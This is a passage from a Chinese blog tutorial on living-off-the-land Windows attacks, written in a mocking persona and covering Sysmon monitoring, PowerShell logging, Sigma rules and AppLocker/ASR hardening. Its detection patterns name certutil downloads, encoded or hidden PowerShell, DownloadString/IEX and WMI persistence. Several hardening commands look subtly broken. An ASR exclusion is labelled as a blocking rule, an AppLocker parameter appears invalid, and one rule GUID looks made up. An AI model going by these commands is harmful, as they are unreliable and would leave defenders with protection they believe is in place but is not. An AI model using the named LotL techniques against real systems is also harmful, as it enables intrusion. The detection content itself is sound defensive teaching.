    <NetworkConnect onmatch="include">
        <Image condition="is">C:\Windows\System32\certutil.exe</Image>
    </NetworkConnect>
    
    <!-- 监控 Rundll32 和 Regsvr32 -->
    <ProcessCreate onmatch="include">
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">mshta.exe</Image>
    </ProcessCreate>
    
    <!-- 监控可疑的 PowerShell 执行 -->
    <ProcessCreate>
        <CommandLine condition="contains any">-nop,-w hidden,-windowstyle hidden,-encodedcommand,-e </CommandLine>
        <ParentImage condition="is">C:\Windows\System32\cmd.exe</ParentImage>
        <Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
    </ProcessCreate>
</Sysmon>

针对载荷投递阶段的检测重点是 Event ID 3(网络连接)。当 Certutil、Bitsadmin 或 PowerShell 建立出站网络连接时,Sysmon 会记录连接的源 IP、目标 IP、端口和进程信息。建议对所有出站连接建立基线,标记异常的外部 IP 连接,特别是指向非标准端口或可疑域名的连接。哼,这些配置都给你们了,要是被攻击了可别说本小姐没有提醒过!

6.2 PowerShell 脚本日志分析与威胁狩猎——这才是真正的技术活

PowerShell 是 LotL 攻击中使用最频繁的工具,因此 PowerShell 日志的分析对于检测攻击行为至关重要。Windows 10/11 默认启用 PowerShell 模块日志记录,但脚本块日志需要手动启用。哎呀呀,默认配置这么宽松,微软是不是故意的?

# 启用 PowerShell 日志记录(需要管理员权限)

# 启用脚本块日志记录
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# 启用转录日志
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "OutputDirectory" -Value "C:\Logs\PowerShell"

# 查看 PowerShell 日志(事件查看器)
# 事件路径:Applications and Services Logs -> Windows PowerShell

PowerShell 脚本块日志(Event ID 4104)是检测恶意 PowerShell 活动的关键数据源。当 PowerShell 执行脚本代码时,完整的脚本内容会被记录到日志中,包括 Base64 编码的命令、可疑的 DownloadString 调用和 IEX/Invoke-Expression 表达式。威胁狩猎分析师应当关注以下可疑模式:包含 DownloadString 或 DownloadFile 方法调用的脚本块;包含 IEX、Invoke-Expression 或 & 调用符的脚本块;包含 Base64 编码字符串(特别是长度超过 100 字符的)的脚本块;包含窗口隐藏参数(-WindowStyle Hidden)或无控制台参数(-NoProfile -NonInteractive)的执行命令。哼,这些都是本小姐多年经验总结出来的!

6.3 基于行为的检测规则设计——不会写规则的蓝队不是好蓝队

有效的 LotL 攻击检测不能仅依赖静态特征匹配,还需要建立基于行为的检测规则。Sigma 规则是一种通用的日志告警格式,可以转换为多种 SIEM 平台的查询语言。哎呀呀,那些还在靠特征码检测的公司,可以升级一下了!

# Sigma 规则示例:检测 Certutil 下载行为
title: Certutil Suspicious Download
description: Detects certutil.exe used to download files from internet
author: Security Researcher
status: experimental
logsource:
    product: windows
    service: sysmon
    category: process_create
detection:
    selection:
        Image|endswith: '\certutil.exe'
        CommandLine|contains|all:
            - '-urlcache'
            - 'http'
    condition: selection
fields:
    - CommandLine
    - ParentImage
    - User
falsepositives:
    - Legitimate use of certutil for certificate operations
    - Software installation scripts
level: high

---
# Sigma 规则示例:检测 WMI 持久化攻击
title: WMI Event Subscription Persistence
description: Detects creation of WMI event filter and consumer
author: Security Researcher
status: experimental
logsource:
    product: windows
    service: sysmon
    category: process_create
detection:
    selection:
        CommandLine|contains|all:
            - '__EventFilter'
            - 'CommandLineEventConsumer'
            - 'Set-WmiInstance'
    condition: selection
fields:
    - CommandLine
    - User
level: critical

行为检测的核心在于识别异常的模式组合。例如,cmd.exe 作为父进程启动 PowerShell 本身就是可疑的,因为正常的管理操作通常直接从开始菜单或快捷方式启动 PowerShell。当观察到以下进程关系时,应当生成告警:cmd.exe -> powershell.exe(传递可疑参数);explorer.exe -> rundll32.exe(加载可疑 DLL);services.exe -> powershell.exe(以服务账户执行脚本);winword.exe -> powershell.exe(文档触发的代码执行)。哼,这些规则都给你们了,还检测不到威胁的话,就回家种田吧!

6.4 缓解措施与防御策略部署——有了这些就不用怕了

防御 LotL 攻击需要多层次的安全控制措施。从预防角度,Applocker 和 Windows Defender Application Control(WDAC)策略可以限制哪些应用程序和脚本可以在系统上运行。从检测角度,完善的日志收集和实时监控机制可以及时发现攻击行为。哎呀呀,有本小姐这些防御指南,那些攻击者还不分分钟被抓住?

# 部署 Applocker 策略限制 LOLBins 使用

# 创建 Applocker 策略文件(仅允许签名的脚本执行)
$policy = New-AppLockerPolicy -ServiceGeneration -RuleType Publisher, Hash -User Everyone

# 导出策略
Export-AppLockerPolicy -XmlPolicy $policy -Path "C:\Policies\ApplockerPolicy.xml"

# 强制执行策略
Set-AppLockerPolicy -XmlPolicy $policy -ErrorAction Stop

# 启用审核模式(不阻止,仅记录)
Set-AppLockerPolicy -XmlPolicy $policy -Audit

# Windows Defender Attack Surface Reduction 规则配置
# 启用阻止可能混淆的 Office 宏
Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Office\" -ErrorAction SilentlyContinue

# 启用阻止 Office 创建子进程
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -ErrorAction SilentlyContinue

# 启用阻止可信文档执行可疑进程
Add-MpPreference -AttackSurfaceReductionRules_Ids 9E6C4E1F-7D6C-4B5C-9146-704D0A2F0E5E -ErrorAction SilentlyContinue

应用控制策略的部署需要谨慎规划,过于严格的策略可能影响正常业务操作。建议采用渐进式部署策略:首先在审核模式下收集所有被策略阻止的应用程序信息,然后根据业务需求调整白名单,最后在试点部门强制执行策略并观察效果。哼,本小姐可是考虑得很周到的!


第七章 实验总结与安全建议——本小姐要收尾了

7.1 攻击技术对比与适用场景——每种技术都有自己的用处

本实验演示了多种 LotL 攻击技术,每种技术都有其独特的优势和适用场景。Certutil 和 Bitsadmin 适用于载荷投递阶段,前者支持 Base64 编码和证书操作,后者支持后台传输和任务调度。PowerShell 是最通用的工具,能够完成从侦察到持久化的全链条操作,但其日志记录也最为详细。Rundll32 和 Regsvr32 适用于执行阶段,它们能够绕过某些进程白名单检测。WMI 是高级持久化的首选,特别是 WMI 事件订阅技术几乎无法被传统防病毒软件检测。哎呀呀,每种技术都有各自的用途,可别小看任何一个哦!

从防御角度来看,没有任何单一的控制措施可以完全阻止 LotL 攻击。有效的防御需要纵深防御策略:使用 Applocker 限制可执行文件的范围,使用日志分析检测可疑行为,使用网络监控识别异常通信,使用行为分析发现偏离基线的活动。哼,光靠一种手段可是不行的呢!

7.2 持续监控与安全改进建议——安全工作永无止境

LotL 攻击技术的持续演进要求安全团队保持持续学习和改进。建议建立以下常态化机制:首先,建立 LOLBins 使用基线。记录组织内部合法使用 Certutil、PowerShell、Rundll32 等工具的典型场景和参数模式,作为检测异常的参考基准。基线应当定期更新,反映业务环境的变化。其次,投资于安全自动化。手动分析所有 Sysmon 日志是不现实的,应当部署 SIEM 平台实现日志的自动收集、关联和告警。开发自定义检测规则,针对组织面临的具体威胁进行优化。第三,实施红蓝对抗演练。定期使用 LotL 技术进行内部渗透测试,验证防御措施的有效性。蓝队应当分析每次对抗中发现的新攻击技术和检测盲区,持续改进防御体系。第四,加强终端检测响应能力。部署具备行为检测能力的终端安全解决方案,能够识别可疑的进程行为模式,而不仅仅依赖特征码检测。现代 EDR 产品应当能够检测异常的父子进程关系、可疑的内存操作和隐蔽的网络通信。哼,这些都是本小姐的肺腑之言呢!

7.3 法律合规与伦理准则——本小姐可是有底线的人

最后,必须再次强调本实验教程的使用范围。所有演示技术仅用于合法的安全研究和教育目的。在将所学知识应用于实际环境前,必须获得明确的书面临界授权。未经授权的安全测试可能触犯计算机犯罪法律,给个人和组织带来严重的法律后果。安全研究人员的责任是帮助组织识别和修复安全漏洞,而不是利用这些知识进行非法活动。在发现安全漏洞时,应当遵循负责任的披露流程,将发现报告给受影响厂商或组织,协助他们修复问题。只有在合法、道德的框架内行事,安全研究人员才能真正为网络安全事业做出贡献。哼,本小姐虽然喜欢欺负你们这些杂鱼,但可是很重视法律的呢!


附录:参考资源与工具清单——本小姐才不是小气的人

常用 LOLBins 参考资源

LOLBAS Project(https://lolbas-project.github.io/)是最全面的 LOLBins 资源库,详细记录了每个系统工具的可用参数和滥用方法。MITRE ATT&CK 框架(https://attack.mitre.org/)提供了攻击技术的标准化分类和描述,便于安全团队建立检测规则时参考。哼,这些网站本小姐都经常看呢!

实验环境工具清单

攻击机必备工具包括:Kali Linux 虚拟机、Nmap 扫描器、Metasploit 框架、Netcat 监听器、Python HTTP 服务器和 Impacket 工具包。靶机必备配置包括:Windows 11 虚拟机、Sysmon 监控系统、事件查看器和 PowerShell ISE。哼,这些工具都不会用的话,就别说是本小姐的学生!

推荐学习路径

对于希望深入学习 LotL 攻击技术的读者,建议按照以下路径学习:首先掌握 Windows 系统管理和 PowerShell 脚本编程基础;然后学习 MITRE ATT&CK 框架,理解攻击技术的分类和原理;接着在受控实验环境中复现本教程的每种攻击技术;最后研究防御检测方法,建立自己的检测规则库。哼,跟着本小姐的教程学,保你成为高手!


好了好了,本小姐说累了。哼,这些知识都传授给你们了,要是还学不会的话,就别出来说认识本小姐!记住了吗,杂鱼们?

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值